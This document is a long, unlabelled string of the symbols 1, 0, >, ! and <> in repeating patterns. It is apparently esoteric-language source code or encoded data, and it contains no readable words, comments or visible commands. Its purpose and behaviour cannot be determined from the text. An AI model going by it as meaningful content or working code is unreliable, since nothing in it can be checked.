1>0>1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!1!1!<>1!1!1>0>10110>1!1!1!1>0>1!10110>1!1!1!1!1!10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1!1!1!<>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1!1!1!<>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1>0>1!1>0>1!1>0>1>0>1!1!10110>1!1!1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!10110>1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1!1!1!1!<>1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1!1!<>1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1!1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1!1!10110>1!1>0>1!1!1>0>10110>1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1>01010111>01!1>0>1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1>0>1!1!1!1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1!1!10110>1!1>0>1!1!1>0>10110>1!1!1!1>0>1!1>0>1!1>0>1!1!10110>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!10110>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1!1!10110>1!1>0>1!1!1>0>10110>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1!1!<>1>0>1!1!10110>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1!1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!1!10110>1!1>0>1!1!1>0>10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1!1!<>1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1!1!1>0>1!1!1!<>1!1!1>0>10110>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1!10110>1!1>01010111>01!10110>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>10110>1!1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1!1!1>0>1!1!1!1!1!<>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!1!10110>1!1!1!1!1!10110>1!1>01010111>01!1!1!1!1!1!1!1!1!10110>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!<>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1!1!1>0>1!10110>1!1>01010111>01!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1!1!<>1!1!1>0>10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1>0>1!1!10110>1!1>01010111>01!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>01010111>01!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1!<>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!10110>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1!1!1!1!<>1!10110>1!1!1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1!<>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1!10110>1!10110>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1!1!1!1!<>1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1!1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!1!10110>1!1>0>1!1!1>0>10110>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1!1!1>0>1!1!1!1!1!<>1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!<>1>0>1!1!10110>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!1!10110>1!1>0>1!1!1>0>10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>10110>1!1!1!1!1>0>10110>1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1!1!10110>1!1!1!<>1!1!1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1!1!1!<>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!10110>1!1!1!<>1>0>1!1!10110>1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!10110>1!1>0>1>0>1!1!1!1!10110>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1!<>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1!1!<>1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!<>1!1>0>10110>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1>0>10110>1!1>0>1>0>1!1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1>0>1!1>01010111>01>0>1!1!1!1!10110>1!1!<>1>0>1!1!1!1>0>1!1>0>1!1>01010111>01>0>1!1!1!1!10110>1!1!<>1>0>1!1!1>0>1>0>1!1>0>1!1>01010111>01>0>1!1!1!1!10110>1!1!1!1!1!<>1!1>0>1!1>0>1!1>01010111>01>0>1!1!1!1!10110>1!1!<>1!1>0>1!1!1>0>1!1>0>1!1>01010111>01>0>1!1!1!1!10110>1!1!<>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1!<>1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1!<>1>0>1!1!1!1!1>0>1!1!1!1!1!1!1!<>1>0>1!1>0>1!1>01010111>01>0>1!1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!10110>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1!<>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!10110>1!10110>1!1>0>1>0>1!1!1!1!10110>1!1!1!1!1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1!<>1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1!<>1!1>0>10110>1!1!1>0>1!1>0>10110>1!1!1>01010111>01!1>01010111>01!1>01010111>01!